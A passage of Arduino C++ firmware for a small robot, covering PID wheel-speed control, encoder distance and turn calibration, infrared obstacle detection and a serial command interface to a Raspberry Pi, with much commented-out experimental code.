PI\/2;\n leftPID.SetMode(AUTOMATIC);\n rightPID.SetMode(AUTOMATIC);\n midPID.SetMode(AUTOMATIC);\n leftPID.SetSampleTime(10);\n rightPID.SetSampleTime(10);\n midPID.SetSampleTime(10);\n SetpointLeft = 2000;\n SetpointRight = 2000;\n SetpointMid = 0;\n leftPID.SetOutputLimits(0, 3400);\n rightPID.SetOutputLimits(0, 3400);\n midPID.SetOutputLimits(-1000, 1000);\n \n Serial.begin(9600); \/\/ sets the serial port to 9600\n timing = millis();\n \/\/PID_mid.SetMode(AUTOMATIC);\n \/\/PID_mid.SetSampleTime(100);\n \/\/PID_mid.SetOutputLimits(0, 225);\n \/\/PID_left.SetSampleTime(100);\n \/\/PID_right.SetSampleTime(100);\n \n\/\/ dist1 = sensor1.getDistanceCentimeter();\n \/\/encoder\n\/\/ encoder.init(7,6,8,9);\n \n myServo.attach(A4);\n \/\/myServo.write(90);\n\/\/ delay(500);yy\n \/\/myServo.detach(); \n \n \/\/moveForward(20);\n \/*\nfor(int i=0; i<2; i++) {\n delay(1000);\nmoveForward(50);\nresetPololuTicks();\ndelay(1000);\nturnRight(90);\nresetPololuTicks();\ndelay(1000);\nmoveForward(50);\nresetPololuTicks();\ndelay(1000);\nturnLeft(90);\nresetPololuTicks();\ndelay(1000);\nmoveForward(50);\nresetPololuTicks();\ndelay(1000);\nturnLeft(180);\nresetPololuTicks();\n}\n*\/\n\n\n\/*\nfor(int i=0; i<10; i++) {\n moveForward(20);\n resetPololuTicks();\n delay(1000);\n turnLeft(90);\n}\n\nfor(int i=0; i<10; i++) {\n moveForward(20);\n resetPololuTicks();\n delay(1000);\n turnRight(90);\n}\n*\/\n\/\/moveForward(200);\n\/\/turnRight(1440);\n\/\/turnRight(180); \n\/\/delay(5000);\n\/\/turnRight(90);\n}\n\n\/\/ Uses specified distance(cm) to calculate the distance\nfloat distCentimeter(float centimeter) {\n float divisibleTicks;\n if (centimeter <= 10) {\n divisibleTicks = 19.3; \n }\n \n else if (centimeter <= 20) {\n divisibleTicks = 18.65;\n }\n \n else if (centimeter <= 35) {\n divisibleTicks = 19.05;\n }\n \n else if (centimeter <= 50) {\n divisibleTicks = 18.5;\n }\n \n else if (centimeter <= 75) {\n divisibleTicks = 18.9;\n }\n \n else {\n divisibleTicks = 18.7;\n }\n \n float ticksForOneCentimeter = 2249\/divisibleTicks;\n float dist = ticksForOneCentimeter * centimeter;\n return dist;\n}\n\n\/\/ Uses specified angle(degree) to calculate the turns\nfloat turnAngle(int angle) {\n float divisibleTicks;\n if (angle <= 90) {\n divisibleTicks = 126.7; \/\/ 127.5\n }\n \n else if (angle <= 180) {\n divisibleTicks = 125.5; \/\/ 64.5\n }\n\n else if (angle <= 270) {\n divisibleTicks = 126.7;\n } \n \n else if (angle <= 450) {\n divisibleTicks = 125.6;\n }\n \n else if (angle <= 540) {\n divisibleTicks = 125;\n }\n \n else if (angle <= 630) {\n divisibleTicks = 125;\n }\n else {\n divisibleTicks = 125;\n }\n \n float ticksForOneDegree = 2249\/divisibleTicks;\n float angleToTurn = ticksForOneDegree * angle;\n return angleToTurn;\n}\n\nfloat turnAngleR(int angle) {\n float divisibleTicks;\n if (angle <= 90) {\n divisibleTicks = 127.5; \/\/ 127.5\n }\n \n else if (angle <= 180) {\n divisibleTicks = 125.5; \/\/ 64.5\n }\n\n else if (angle <= 270) {\n divisibleTicks = 126.7;\n } \n \n else if (angle <= 450) {\n divisibleTicks = 125.6;\n }\n \n else if (angle <= 540) {\n divisibleTicks = 125;\n }\n \n else if (angle <= 630) {\n divisibleTicks = 125;\n }\n else {\n divisibleTicks = 125;\n }\n \n float ticksForOneDegree = 2249\/divisibleTicks;\n float angleToTurn = ticksForOneDegree * angle;\n return angleToTurn;\n}\n\/\/ Infinite loop routine for robot\nvoid loop()\n{\n if (informReadyOnce != true) {\n for (int i=0; i<10; i++)\n Serial.write(\"99\/;\");\n informReadyOnce = true;\n }\n \n \/\/leftPololuCount = abs(PololuWheelEncoders::getCountsM1()); \n \/\/rightPololuCount = abs(PololuWheelEncoders::getCountsM2()); \n \n int sensorValue0 = analogRead(sensorPin0); \/\/ read analog input pin 0\n int sensorValue1 = analogRead(sensorPin1); \/\/ read analog input pin 1 (left sensor from back view)\n int sensorValue2 = analogRead(sensorPin2); \/\/ read analog input pin 2 (right sensor from back view)\n int sensorValue3 = analogRead(sensorPin3);\n \n\/\/ runRobotAuto(sensorValue0, sensorValue1, sensorValue2); \/\/ run robot with internal logic for obstable avoidance\n if (Serial.available()) {\n executeCommand();\n }\n \/\/Serial.println(\"outside millis\");\n \/\/if((millis()-lastMilli) >= LOOPTIME){\n \/\/lastMilli = millis();\n \/\/Serial.println(\"in millis\");\n \/\/leftMotorConfigure(); \n \/\/rightMotorConfigure();\n \/\/}\n \n \/\/configureMotor();\n\/\/ leftCounter = encoder.getCountsAndResetM1();\n\/\/ rightCounter = encoder.getCountsAndResetM2();\n \n \n detectObstacle();\n readSensor(sensorValue0, sensorValue1, sensorValue2, sensorValue3); \/\/ prints sensors' readings\n \n \/\/PIController();\n}\n\nvoid configureMotorForTurn() {\n \/\/resetPololuTicks();\n long leftPololuCount = abs(PololuWheelEncoders::getCountsM1()); \n long rightPololuCount = abs(PololuWheelEncoders::getCountsM2());\n \/*Serial.print(\"leftPololuCount =\");\n Serial.print(leftPololuCount);\n Serial.print(\"\\t\");\n Serial.print(\"rightPololuCount =\");\n Serial.println(rightPololuCount);*\/\n if(leftPololuCount < 30000){\n if(millis() - timing >= 10){\n long leftPololuCount = abs(PololuWheelEncoders::getCountsM1()); \n long rightPololuCount = abs(PololuWheelEncoders::getCountsM2());\n long timez = millis()-timing;\n \/\/double speed1 = ((leftPololuCount -prevouslefttick)\/1000);\n\n float leftTime = leftPololuCount - previousLeftTick;\n float rightTime = rightPololuCount - previousRightTick;\n\n float leftcm = noOfCmPerTick * leftTime;\n float rightcm = noOfCmPerTick * rightTime;\n \/*float distanceToTravel = (leftcm + rightcm)\/2;\n deltaHeading = (leftcm-rightcm) \/ 17.2 + deltaHeading;\n deltaX = distanceToTravel * cos(deltaHeading) + deltaX;\n deltaY = distanceToTravel * sin(deltaHeading) + deltaY;*\/\n leftTime = leftTime \/ (timez);\n leftTime = leftTime * 1000;\n rightTime = rightTime \/ (timez);\n rightTime = rightTime * 1000;\n \/\/InputMid = deltaX * 10000;\n\n InputLeft = leftTime;\n InputRight = rightTime;\n\n \/\/midPID.Compute();\n \n \/\/OutputMid\n \/\/SetpointRight = 2000 + map(OutputMid,-1000,1000,-2000,1400);\n rightPID.Compute();\n leftPID.Compute();\n previousLeftTick = leftPololuCount;\n previousRightTick = rightPololuCount;\n timing = millis();\n\n runMotor(map(OutputRight,0,3400,150,255), map(OutputLeft,0,3400,150,255));\n }\n }\n else{\n halt();\n }\n}\n\nvoid configureMotor() {\n \/\/resetPololuTicks();\n \/\/Serial.println(deltaX);\n long leftPololuCount = abs(PololuWheelEncoders::getCountsM1()); \n long rightPololuCount = abs(PololuWheelEncoders::getCountsM2());\n \/*Serial.print(\"leftPololuCount =\");\n Serial.print(leftPololuCount);\n Serial.print(\"\\t\");\n Serial.print(\"rightPololuCount =\");\n Serial.println(rightPololuCount);*\/\n \/\/SetpointMid = 0;\n\/* int sensorLeft = analogRead(sensorPin1);\n \/\/int detectedObstacle = 0;\n \n while (sensorLeft > 200) {\n Serial.print(\"new deltaX = \");\n Serial.println(deltaX);\n SetpointMid = -500;*\/\n if(leftPololuCount < 30000){\n if(millis() - timing >= 10){\n leftPololuCount = abs(PololuWheelEncoders::getCountsM1()); \n rightPololuCount = abs(PololuWheelEncoders::getCountsM2());\n long timez = millis()-timing;\n \/\/double speed1 = ((leftPololuCount -prevouslefttick)\/1000);\n\n float leftTime = leftPololuCount -previousLeftTick;\n float rightTime = rightPololuCount -previousRightTick;\n\n float leftcm = noOfCmPerTick * leftTime;\n float rightcm = noOfCmPerTick * rightTime;\n float distanceToTravel = (leftcm + rightcm)\/2;\n deltaHeading = (leftcm-rightcm) \/ 17.2 + deltaHeading;\n deltaX = (distanceToTravel * cos(deltaHeading) + deltaX); \/\/ + 0.2\n deltaY = distanceToTravel * sin(deltaHeading) + deltaY;\n leftTime = leftTime \/ (timez);\n leftTime = leftTime * 1000;\n rightTime = rightTime \/ (timez);\n rightTime = rightTime * 1000;\n InputMid = deltaX * 10000;\n\n InputLeft = leftTime;\n InputRight = rightTime;\n\n midPID.Compute();\n \n \/\/OutputMid\n SetpointRight = 2000 + map(OutputMid,-1000,1000,-2000,1400);\n rightPID.Compute();\n leftPID.Compute();\n previousLeftTick = leftPololuCount;\n previousRightTick = rightPololuCount;\n timing = millis();\n\n \/\/runMotor(map(OutputRight,0,3400,50,150), map(OutputLeft,0,3400,50,150));\n runMotor(map(OutputRight,0,3400,150,255), map(OutputLeft,0,3400,150,255));\n }\n }\n else{\n halt();\n }\n \n \/\/sensorLeft = analogRead(sensorPin1);\n \/\/detectedObstacle = 1;\n \/\/}\n \n \/*if (detectedObstacle = 1) {\n long leftPololuCount = abs(PololuWheelEncoders::getCountsM1()); \n long rightPololuCount = abs(PololuWheelEncoders::getCountsM2());\n currentTicks = (leftPololuCount + rightPololuCount) \/ 2;\n resetPololuTicks();\n detectedObstacle = 0;\n }*\/\n \n \/*if (sensorLeft < 200) {\n SetpointMid = 0;\n \/\/Serial.print(\"new deltaX = \");\n Serial.println(deltaX);\n if(leftPololuCount < 30000){\n if(millis() - timing >= 10){\n leftPololuCount = abs(PololuWheelEncoders::getCountsM1()); \n rightPololuCount = abs(PololuWheelEncoders::getCountsM2());\n long timez = millis()-timing;\n \/\/double speed1 = ((leftPololuCount -prevouslefttick)\/1000);\n\n float leftTime = leftPololuCount -previousLeftTick;\n float rightTime = rightPololuCount -previousRightTick;\n\n float leftcm = noOfCmPerTick * leftTime;\n float rightcm = noOfCmPerTick * rightTime;\n float distanceToTravel = (leftcm + rightcm)\/2;\n deltaHeading = (leftcm-rightcm) \/ 17.2 + deltaHeading;\n deltaX = distanceToTravel * cos(deltaHeading) + deltaX;\n deltaY = distanceToTravel * sin(deltaHeading) + deltaY;\n leftTime = leftTime \/ (timez);\n leftTime = leftTime * 1000;\n rightTime = rightTime \/ (timez);\n rightTime = rightTime * 1000;\n InputMid = deltaX * 10000;\n\n InputLeft = leftTime;\n InputRight = rightTime;\n\n midPID.Compute();\n \n \/\/OutputMid\n SetpointRight = 2000 + map(OutputMid,-1000,1000,-2000,1400);\n rightPID.Compute();\n leftPID.Compute();\n previousLeftTick = leftPololuCount;\n previousRightTick = rightPololuCount;\n timing = millis();\n\n runMotor(map(OutputRight,0,3400,150,255), map(OutputLeft,0,3400,150,255));\n }\n }\n else{\n halt();\n }\n }*\/\n}\n\n\/*void configureMotor() {\n actual_speed = (encoderLeftCount + encoderRightCount)\/2;\n PID_mid.Compute();\n \n encoderLeftCount = abs(PololuWheelEncoders::getCountsM1());\n encoderRightCount = abs(PololuWheelEncoders::getCountsM2());\n \n long differenceCount = encoderRightCount - encoderLeftCount;\n \n if((pwm_mid > 100)){\n\n \/\/check1 = true;\n \/\/checkStop = false;\n\n if(differenceCount > 50)\n {\n setMotor = 50;\n }\n else if(differenceCount > 40)\n {\n setMotor = 47;\n }\n else if(differenceCount > 30)\n {\n setMotor = 45;\n }\n else if(differenceCount > 20)\n {\n setMotor = 42;\n }\n else if(differenceCount > 10)\n {\n setMotor = 40;\n }\n else if (differenceCount > 0){\n setMotor = 26;\n }\n\n\n else if(differenceCount < -50)\n {\n setMotor = -35;\n }\n else if(differenceCount < -40)\n {\n setMotor = -28;\n }\n else if(differenceCount < -30)\n {\n setMotor = -22;\n }\n else if(differenceCount < -20)\n {\n setMotor = -21;\n }\n else if(differenceCount < -10)\n {\n setMotor = -20;\n }\n else if (differenceCount < 0){\n setMotor = 26;\n }\n else {\n setMotor = 23;\n }\n pwm_left = pwm_mid + setMotor ;\n pwm_right = pwm_mid - setMotor;\n \/\/ Serial.println(myLeftPWM); \n \/\/ Serial.println(myRightPWM);\n \/\/ Serial.println();\n runMotor(pwm_left, pwm_right);\n \/\/setPWM(pwm_left, pwm_right);\n \/\/delay(50);\n\n }\n else { \n pwm_left = 0;\n pwm_right = 0;\n setMotor = 0; \n \n \/\/halt();\n \/\/resetPololuTicks();\n \n \/*fcStart();\n delay (500);\n if((check == true && check1 == true)){ \n if(checkStop == true){\n myPIDMid.SetMode(MANUAL); \n Serial.println(\"OK\");\n check = false;\n check1 = false;\n checkStop = false;\n\n\n }\n else\n {\n encoderLeftCount = 0 ;\n encoderRightCount = 0 ;\n }\n } \n \n\n }\n}*\/\n\n\/*void leftMotorConfigure() {\n \/\/static long last_count_left = 0; \n delta_left = leftPololuCount -last_count_left; \n actual_speed_left = (abs(leftPololuCount-last_count_left)*(60*(1000\/LOOPTIME)))\/2249;\/\/(16*29); \/\/ 16 pulses X 29 gear ratio = 464 counts per output shaft rev \n PID_left.Compute(); \n if (actual_speed_left < 0 || actual_speed_left > 300){\n actual_speed_left = 0;\n }\n \n Serial.print(\"actual_speed_left \");\n Serial.println(actual_speed_left);\n\n \/\/if (delta_left <0)\n \/\/{ \n \/\/ resetDefaultWheelTicks();\n \/\/}\n \n last_count_left = leftPololuCount;\n}\n\nvoid rightMotorConfigure() {\n \/\/static long last_count_right = 0; \n delta_right = rightPololuCount-last_count_right;\n\n actual_speed_right = (abs(rightPololuCount-last_count_right)*(60*(1000\/LOOPTIME)))\/2249;\/\/(16*29); \/\/ 16 pulses X 29 gear ratio = 464 counts per output shaft rev\n PID_right.Compute(); \n if (actual_speed_right < 0 || actual_speed_right > 300){\n actual_speed_right = 0;\n }\n \n Serial.print(\"actual_speed_right \");\n Serial.println(actual_speed_right);\n \n \/\/if (delta_right <0)\n \/\/{ \n \/\/ resetDefaultWheelTicks();\n \/\/}\n \n last_count_right = rightPololuCount;\n}*\/\n\nvoid detectObstacle() {\n int sensorValue0, sensorValue1, sensorValue2, sensorValue3;\n int meanSensorValue0 = 0, meanSensorValue1 = 0, meanSensorValue2 = 0, meanSensorValue3 = 0;\n int sensorSampleLength = 10;\n int distCoveredBeforeObstacle = 0;\n \n for (int currSample = 0; currSample < sensorSampleLength; currSample++) {\n sensorValue0 = analogRead(sensorPin0); \/\/ read analog input pin 0\n sensorValue1 = analogRead(sensorPin1); \/\/ read analog input pin 1 (left sensor from back view)\n sensorValue2 = analogRead(sensorPin2); \/\/ read analog input pin 2 (right sensor from back view)\n sensorValue3 = analogRead(sensorPin3);\n meanSensorValue0 += sensorValue0;\n meanSensorValue1 += sensorValue1;\n meanSensorValue2 += sensorValue2;\n meanSensorValue3 += sensorValue3;\n }\n \n \/\/ Calculate mean of sample sensor values for reliable reading\n meanSensorValue0 \/= sensorSampleLength;\n meanSensorValue1 \/= sensorSampleLength;\n meanSensorValue2 \/= sensorSampleLength;\n meanSensorValue3 \/= sensorSampleLength;\n\n\/\/ readSensor(meanSensorValue0, meanSensorValue1, meanSensorValue2); \/\/ prints sensors' readings\n \n int middleSensorObstacleDist = middleSensorDistanceMeasuredInCM(meanSensorValue0);\n int leftSensorObstacleDist = leftSensorDistanceMeasuredInCM(meanSensorValue1);\n int rightSensorObstacleDist = rightSensorDistanceMeasuredInCM(meanSensorValue2);\n int bottomSensorObstacleDist = bottomSensorDistanceMeasuredInCM(meanSensorValue3);\n \n int smallSensorRange = 19;\n int smallMIDDLESensorRange = 14;\n int largeFrontSensorRange = 80;\n \n if (middleSensorObstacleDist <= largeFrontSensorRange && bottomSensorObstacleDist<=smallMIDDLESensorRange) {\n if (leftSensorObstacleDist <= smallSensorRange && rightSensorObstacleDist <= smallSensorRange && meanSensorValue1 >= 220 && meanSensorValue2 >= 220) {\/\/ && meanSensorValue1 >= 350 && meanSensorValue2 >= 350\n Serial.write(\"15\/\");\n }\n else if (rightSensorObstacleDist <= smallSensorRange && meanSensorValue2 >= 220) {\n Serial.write(\"14\/\");\n }\n else if (leftSensorObstacleDist <= smallSensorRange && meanSensorValue1 >= 220) {\n Serial.write(\"13\/\");\n }\n else{\n Serial.write(\"12\/\");\n }\n Serial.print(middleSensorObstacleDist);\n Serial.write(\";\");\n }\n else if (middleSensorObstacleDist <= largeFrontSensorRange) {\n if (leftSensorObstacleDist <= smallSensorRange && rightSensorObstacleDist <= smallSensorRange && meanSensorValue1 >= 220 && meanSensorValue2 >= 220) {\n Serial.write(\"11\/\");\n }\n else if (rightSensorObstacleDist <= smallSensorRange && meanSensorValue2 >= 220) {\n Serial.write(\"10\/\");\n }\n else if (leftSensorObstacleDist <= smallSensorRange && meanSensorValue1 >= 220) {\n Serial.write(\"9\/\");\n }\n else{\n Serial.write(\"8\/\");\n }\n Serial.print(middleSensorObstacleDist);\n Serial.write(\";\");\n }\n else if (bottomSensorObstacleDist<=smallMIDDLESensorRange && meanSensorValue3 >= 220) {\n if (leftSensorObstacleDist <= smallSensorRange && rightSensorObstacleDist <= smallSensorRange && meanSensorValue1 >= 220 && meanSensorValue2 >= 220) {\n Serial.write(\"7\/;\");\n }\n else if (rightSensorObstacleDist <= smallSensorRange && meanSensorValue2 >= 220) {\n Serial.write(\"5\/;\");\n }\n else if (leftSensorObstacleDist <= smallSensorRange && meanSensorValue1 >= 220) {\n Serial.write(\"4\/;\");\n }\n else{\n Serial.write(\"1\/;\");\n }\n }\n else if (leftSensorObstacleDist <= smallSensorRange && rightSensorObstacleDist <= smallSensorRange && meanSensorValue1 >= 220 && meanSensorValue2 >= 220) {\/\/&& meanSensorValue1 >= 350 && meanSensorValue2 >= 350\n Serial.write(\"6\/;\");\n }\n else if(leftSensorObstacleDist <= smallSensorRange && meanSensorValue1 >= 220) {\n Serial.write(\"2\/;\");\n }\n else if (rightSensorObstacleDist <= smallSensorRange && meanSensorValue2 >= 220) {\n Serial.write(\"3\/;\");\n }\n else {\n Serial.write(\"16\/;\");\n }\n \/*\n if (middleSensorObstacleDist <= largeFrontSensorRange) {\n if (leftSensorObstacleDist <= smallSensorRange && rightSensorObstacleDist <= smallSensorRange) {\n Serial.write(\"7\/\");\n Serial.print(middleSensorObstacleDist);\n Serial.write(\";\");\n }\n else if (leftSensorObstacleDist <= smallSensorRange) {\n Serial.write(\"4\/\");\n Serial.print(middleSensorObstacleDist);\n Serial.write(\";\");\n }\n else if (rightSensorObstacleDist <= smallSensorRange) {\n Serial.write(\"5\/\");\n Serial.print(middleSensorObstacleDist);\n Serial.write(\";\");\n }\n else{\n Serial.write(\"1\/\");\n Serial.print(middleSensorObstacleDist);\n Serial.write(\";\");\n }\n }\n else if (leftSensorObstacleDist <= smallSensorRange && rightSensorObstacleDist <= smallSensorRange) {\n Serial.write(\"6\/;\");\n }\n else if(leftSensorObstacleDist <= smallSensorRange) {\n Serial.write(\"2\/;\");\n }\n else if (rightSensorObstacleDist <= smallSensorRange) {\n Serial.write(\"3\/;\");\n }\n else {\n Serial.write(\"8\/;\");\n }\n *\/\n \/*\n \/\/ Main(center) sensor senses obstacle\n if (middleSensorObstacleDist <= 25) {\n \/\/ Both left and right sensors sense obstacle as well\n if (leftSensorObstacleDist <= smallSensorRange && rightSensorObstacleDist <= smallSensorRange) {\n Serial.write(\"7\/;\");\n\/\/ caseCheck = 7;\n\/\/ halt();\n }\n\n \/\/ Only right sensor senses obstacle as well\n else if (rightSensorObstacleDist <= smallSensorRange) {\n Serial.write(\"5\/;\");\n\/\/ caseCheck = 5;\n\/\/ halt();\n }\n \n \/\/ Only left sensor senses obstacle as well\n else if (leftSensorObstacleDist <= smallSensorRange) {\n Serial.write(\"4\/;\");\n\/\/ caseCheck = 4;\n\/\/ halt();\n }\n *\/\n \/* Left and right sensor sense nothing\n i.e. Only main(center) sensor sense obstacle *\/\n \/*\n else {\n\/\/ Serial.println(\"1\");\n Serial.write(\"1\/\");\n Serial.print(middleSensorObstacleDist);\n Serial.write(\";\");\n\/\/ caseCheck = 1;\n\/\/ halt();\n }\n }\n else if (middleSensorObstacleDist <= 80) {\n Serial.write(\"1\/\");\n Serial.print(middleSensorObstacleDist);\n Serial.write(\";\");\n }\n \n \/\/ Only left and right sensor senses obstacle\n else if (leftSensorObstacleDist <= smallSensorRange && rightSensorObstacleDist <= smallSensorRange) {\n Serial.write(\"6\/;\");\n\/\/ caseCheck = 6;\n\/\/ halt();\n }\n \n \/\/ Only right sensor senses obstacle\n else if (rightSensorObstacleDist <= smallSensorRange) {\n\/\/ Serial.println(\"3\");\n Serial.write(\"3\/;\");\n\/\/ caseCheck = 3;\n\/\/ halt();\n }\n \n \/\/ Only left sensor senses obstacle\n else if (leftSensorObstacleDist <= smallSensorRange) {\n Serial.write(\"2\/;\");\n\/\/ caseCheck = 2;\n\/\/ halt();\n }\n \n \/\/ No obstacles around\n else {\n Serial.write(\"8\/;\");\n }\n *\/\n\/\/ switch(caseCheck) {\n\/\/ \n\/\/ \/\/ Command: Get Distance\n\/\/ case 5: {\n\/\/ if (rightSensorObstacleDist > 15 || leftSensorObstacleDist > 15)\n\/\/ caseCheck = 8;\n\/\/ break;\n\/\/ }\n\/\/ \n\/\/ case 6: {\n\/\/ if (rightSensorObstacleDist > 15 || leftSensorObstacleDist > 15)\n\/\/ caseCheck = 8;\n\/\/ break;\n\/\/ }\n\/\/ \n\/\/ case 7: {\n\/\/ if (middleSensorObstacleDist > 25 || rightSensorObstacleDist > 15 || leftSensorObstacleDist > 15)\n\/\/ caseCheck = 8;\n\/\/ break;\n\/\/ }\n}\n\n\/\/PI Controller\n\/\/void PIController()\n\/\/{\n\/\/ if(leftCounter >= 0 && rightCounter >= 0)\n\/\/ {\n\/\/ Serial.print(\"leftCounter is \");\n\/\/ Serial.println(leftCounter);\n\/\/ Serial.print(\"rightCounter is \");\n\/\/ Serial.println(rightCounter);\n\/\/ \n\/\/ err = (leftCounter - rightCounter)\/((leftCounter + rightCounter)\/2) * 255;\n\/\/ Serial.print(\"err is \");\n\/\/ Serial.println(round(err));\n\/\/ if (abs(err) < thresh){ \/\/ prevent integral 'windup' \n\/\/ err2 = err2 + err; \/\/ accumulate the error integral\n\/\/ }\n\/\/ else {\n\/\/ err2 = 0; \/\/ zero it if out of bounds\n\/\/ } \n\/\/ \n\/\/ Serial.print(\"round(err)\/Kp is \");\n\/\/ Serial.println(round(err)\/Kp);\n\/\/ Serial.print(\"round(err2)\/Ki is \");\n\/\/ Serial.println(round(err2)\/Ki);\n\/\/ rightOut += round(err)\/Kp + round(err2)\/Ki;\n\/\/ \n\/\/ if(abs(rightOut) >= 255) { \/\/ prevent overlimit\n\/\/ rightOut = 255;\n\/\/ Serial.println(rightOut);\n\/\/ }\n\/\/ \n\/\/ analogWrite(pwm_right, round(rightOut)); \n\/\/ } \n\/\/}\n\n\n\/\/void runRobotAuto(int sensorValue0, int sensorValue1, int sensorValue2) {\n\/\/ \n\/\/ \/\/ Main(center) sensor senses obstable\n\/\/ if (sensorValue0 >= 570) {\n\/\/ \/\/ Both left and right sensors sense obstacle as well\n\/\/ if (sensorValue1 >= 250 && sensorValue2 >= 250) {\n\/\/ turnLeft(timeDelayByAngle(180));\n\/\/ moveForward(timeDelayByCentimeter(0));\n\/\/ }\n\/\/ \n\/\/ \/\/ Only right sensor senses obstacle as well\n\/\/ else if (sensorValue2 >= 400) {\n\/\/ turnLeft(timeDelayByAngle(90));\n\/\/ moveForward(timeDelayByAngle(135));\n\/\/ turnRight(timeDelayByAngle(90));\n\/\/ moveForward(timeDelayByCentimeter(0));\n\/\/ }\n\/\/ \n\/\/ \/\/ Only left sensor senses obstacle as well\n\/\/ else if (sensorValue1 >= 400) {\n\/\/ turnRight(timeDelayByAngle(90));\n\/\/ moveForward(timeDelayByAngle(135));\n\/\/ turnLeft(timeDelayByAngle(90));\n\/\/ moveForward(timeDelayByCentimeter(0));\n\/\/ }\n\/\/ \n\/\/ \/* Left and right sensor sense nothing\n\/\/ i.e. Only main(center) sensor sense obstacle *\/\n\/\/ else {\n\/\/ turnLeft(timeDelayByAngle(90));\n\/\/ moveForward(timeDelayByCentimeter(0));\n\/\/ }\n\/\/ }\n\/\/\n\/\/ \/\/ Only right sensor senses obstacle\n\/\/ else if (sensorValue2 >= 630) {\n\/\/ turnLeft(timeDelayByAngle(18));\n\/\/ moveForward(timeDelayByCentimeter(0));\n\/\/ }\n\/\/ \n\/\/ \/\/ Only left sensor senses obstacle\n\/\/ else if (sensorValue1 >= 630) {\n\/\/ turnRight(timeDelayByAngle(18));\n\/\/ moveForward(timeDelayByCentimeter(0));\n\/\/ }\n\/\/ \n\/\/ \/\/ No obstacles around\n\/\/ else {\n\/\/ moveForward(timeDelayByCentimeter(0));\n\/\/ }\n\/\/}\n\n\/\/ Read value from sensors\nvoid readSensor(int sensorValue0, int sensorValue1, int sensorValue2, int sensorValue3) {\n int rightDistance = rightSensorDistanceMeasuredInCM(sensorValue2);\n int leftDistance = leftSensorDistanceMeasuredInCM(sensorValue1);\n int middleDistance = middleSensorDistanceMeasuredInCM(sensorValue0);\n int bottomDistance = bottomSensorDistanceMeasuredInCM(sensorValue3);\n \/*\n Serial.print(\"Middle Sensor: \");\n Serial.print(sensorValue0, DEC); \/\/ prints the value read in decimal\n Serial.print(\"\\t\");\n Serial.print(\"Left Sensor: \");\n Serial.print(sensorValue1, DEC); \/\/ prints the value read in decimal\n Serial.print(\"\\t\");\n Serial.print(\"Right Sensor: \");\n Serial.print(sensorValue2, DEC); \/\/ prints the value read in decimal\n Serial.print(\"\\t\");\n Serial.print(\"Bottom Sensor: \");\n Serial.println(sensorValue3, DEC); \/\/ prints the value read in decimal\n *\/\n}\n\n\/\/ Listen for serial data from raspberry\nlong readSerial() {\n unsigned long serialData = 0;\n int byteRead = 0;\n \n \/\/ Append command data until full command has been sent\n while (byteRead != '\/') {\n byteRead = Serial.read(); \/\/ Serial read by a byte each time\n \n if (byteRead > 0 && byteRead != '\/') {\n char byteChar[1];\n byteChar[0] = byteRead;\n byteRead = atoi(byteChar);\n serialData = serialData * 10 + byteRead;\n \/\/print out the received data\n Serial.println(serialData, DEC);\n }\n }\n \n return serialData;\n}\n\nvoid executeCommand() {\n \/\/resetPololuTicks();\n float timeDelay, multiple;\n long serialData = readSerial();\n \n if(serialData==1){\n serialData = readSerial();\n moveForward(serialData);\n for (int i=0; i<10; i++)\n Serial.write(\"51\/;\");\n }\n else if(serialData==2){\n serialData = readSerial();\n turnLeft(serialData);\n for (int i=0; i<10; i++)\n Serial.write(\"52\/;\");\n }\n else if(serialData==3){\n serialData = readSerial();\n turnRight(serialData);\n for (int i=0; i<10; i++)\n Serial.write(\"53\/;\");\n }\n else if(serialData==4){\n halt();\n }\n else if(serialData==5){\n runMotor(pwm_left, pwm_right); \n }\n else if(serialData==6){\n if(serialData!=0){\n serialData = readSerial();\n servoTurn(serialData);\n }\n }\n \/\/resetPololuTicks();\n \/*else if(serialData==9){\n int distCovered = getDistance();\n Serial.write(\"9\/\");\n Serial.print(distCovered);\n Serial.write(\";\");\n resetDefaultWheelTicks();\n }*\/\n informReadyOnce = false;\n \/*\n switch(serialData) {\n \n \/\/ Command: Move Foward\n case 1: {\n serialData = readSerial();\n moveForward(serialData);\n break;\n }\n \n \/\/ Command: Turn Left\n case 2: {\n serialData = readSerial();\n turnLeft(serialData);\n break;\n }\n \n \/\/ Command: Turn Right\n case 3: {\n serialData = readSerial();\n turnRight(serialData);\n break;\n }\n \n \/\/ Command: Halt\n case 4: {\n halt();\n break;\n }\n \n \/\/ Command: Run Motor\n case 5: {\n runMotor(maxSpeedA, maxSpeedB); \n break;\n }\n \n \/\/ Command: Servo Turn\n case 6: {\n serialData = readSerial();\n servoTurn(serialData);\n break;\n }\n \n \/\/ Command: Get Distance\n case 9: {\n int distCovered = getDistance();\n Serial.write(\"9\/\");\n Serial.print(distCovered);\n Serial.write(\";\");\n resetDefaultWheelTicks();\n break;\n }\n \n \/\/ No command: continue moving forward\n default: {\n\/\/ moveForward(distCentimeter(0));\n }\n }\n *\/\n}\n\n\/\/void incLeftCount() {\n\/\/ leftWheelTickCount++;\n\/\/ if (countTicksForAngleOrDist == true) {\n\/\/ leftTicksForAngleOrDist++;\n\/\/ }\n\/\/}\n\/\/\n\/\/void incRightCount() {\n\/\/ rightWheelTickCount++;\n\/\/ if (countTicksForAngleOrDist == true) {\n\/\/ rightTicksForAngleOrDist++;\n\/\/ }\n\/\/}\n\/\/\n\/\/void resetDefaultWheelTicks() {\n\/\/ leftWheelTickCount = 0;\n\/\/ rightWheelTickCount = 0;\n\/\/}\n\n\/\/void resetTicksForAngleOrDistance() {\n\/\/ angleTurn = 0;\n\/\/ distanceMove = 0;\n\/\/ countTicksForAngleOrDist = false;\n\/\/ leftTicksForAngleOrDist = 0;\n\/\/ rightTicksForAngleOrDist = 0;\n\/\/}\n\nvoid resetPololuTicks() {\n PololuWheelEncoders::getCountsAndResetM1();\n PololuWheelEncoders::getCountsAndResetM2();\n}\n\nfloat getDistance() {\n\/\/ int totalAvgNoOfTicks = (leftWheelTickCount + rightWheelTickCount) \/ 2;\n\/\/ int distanceCoveredInCm = totalAvgNoOfTicks \/ noOfTicksPerCm;\n\/\/ return distanceCoveredInCm;\n\n long leftPololuCount = abs(PololuWheelEncoders::getCountsM1()); \n long rightPololuCount = abs(PololuWheelEncoders::getCountsM2());\n float leftcm = ((PI*6)\/2249) * leftPololuCount;\n float rightcm = ((PI*6)\/2249) * rightPololuCount;\n float averageDist = (leftcm + rightcm) \/ 2;\n return averageDist;\n}\n\n\/\/ Run robot at max speed\nvoid runMotor(int moveSpeedA, int moveSpeedB) {\n analogWrite(pwm_right, moveSpeedA); \n analogWrite(pwm_left, moveSpeedB);\n}\n\n\/\/ Move forward\nvoid moveForward(float dist) {\n 